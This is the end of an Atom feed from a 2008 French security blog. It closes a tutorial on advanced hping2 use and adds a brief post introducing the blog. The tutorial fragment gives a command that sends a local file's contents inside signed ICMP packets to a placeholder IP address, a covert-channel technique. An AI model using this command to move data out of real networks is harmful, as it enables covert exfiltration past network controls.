0, 0);"&gt;Shell &lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;sans oublier la signature pour que la paquet soit identifiable,et ce  de cette maniere :&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;HPING2 ici.ip.a.saisir -e signature -E path/du/fichier/de/donnée  -d 50 -1&lt;span style="color: rgb(0, 0, 0);"&gt;.&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Voila pour ce petit tuto sur les fonctions avancées de &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Hping2 &lt;span style="color: rgb(0, 0, 0);"&gt;.&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; a Bientot .&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4457623080129847893-5534533780464823373?l=kmkz-web-blog.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/-Gg4dPbdNDRJKAPY06T0tly58C8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/-Gg4dPbdNDRJKAPY06T0tly58C8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/-Gg4dPbdNDRJKAPY06T0tly58C8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/-Gg4dPbdNDRJKAPY06T0tly58C8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/KmkzsBlog/~4/JjX_frSuLo0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kmkz-web-blog.blogspot.com/feeds/5534533780464823373/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4457623080129847893&amp;postID=5534533780464823373" title="1 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/5534533780464823373?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/5534533780464823373?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/KmkzsBlog/~3/JjX_frSuLo0/utilisations-avances-de-hping2.html" title="Utilisations avancées de Hping2" /><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="31" height="32" src="http://4.bp.blogspot.com/_2PS8BofuJBc/SLA60x2maPI/AAAAAAAAAAM/wuinnfvOy7s/S220/trinacria.jpg" /></author><thr:total>1</thr:total><feedburner:origLink>http://kmkz-web-blog.blogspot.com/2008/04/utilisations-avances-de-hping2.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkUDQH86eip7ImA9WxZbEE0.&quot;"><id>tag:blogger.com,1999:blog-4457623080129847893.post-8295661700410289784</id><published>2008-04-12T13:26:00.000+02:00</published><updated>2008-04-12T13:37:51.112+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-04-12T13:37:51.112+02:00</app:edited><title>Au commencement ....</title><content type="html">Salut a tous !&lt;br /&gt;Bon ,ben je me lance moi aussi dans la création de mon "repère"... ;)&lt;br /&gt;&lt;br /&gt; Ici vous retrouverez  mes papers et autres codes sources , qui  vous permettrons de découvrir mes travaux et projets dans le domaine de la sécurité informatique .&lt;br /&gt;&lt;br /&gt;J'espere apporter ici  des infos qui vous seront utiles .&lt;br /&gt;&lt;br /&gt; kmkz&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4457623080129847893-8295661700410289784?l=kmkz-web-blog.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/lV8myAZKD4ccLlzUbG7avp2ChZM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/lV8myAZKD4ccLlzUbG7avp2ChZM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/lV8myAZKD4ccLlzUbG7avp2ChZM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/lV8myAZKD4ccLlzUbG7avp2ChZM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/KmkzsBlog/~4/l5Hk0raAsNo" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kmkz-web-blog.blogspot.com/feeds/8295661700410289784/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4457623080129847893&amp;postID=8295661700410289784" title="2 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/8295661700410289784?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/8295661700410289784?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/KmkzsBlog/~3/l5Hk0raAsNo/au-commencement.html" title="Au commencement ...." /><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="31" height="32" src="http://4.bp.blogspot.com/_2PS8BofuJBc/SLA60x2maPI/AAAAAAAAAAM/wuinnfvOy7s/S220/trinacria.jpg" /></author><thr:total>2</thr:total><feedburner:origLink>http://kmkz-web-blog.blogspot.com/2008/04/au-commencement.html</feedburner:origLink></entry></feed>

